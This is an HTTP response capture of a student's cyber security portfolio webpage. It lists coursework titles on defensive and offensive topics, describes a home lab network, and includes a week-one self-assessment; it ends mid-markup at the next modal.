Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" 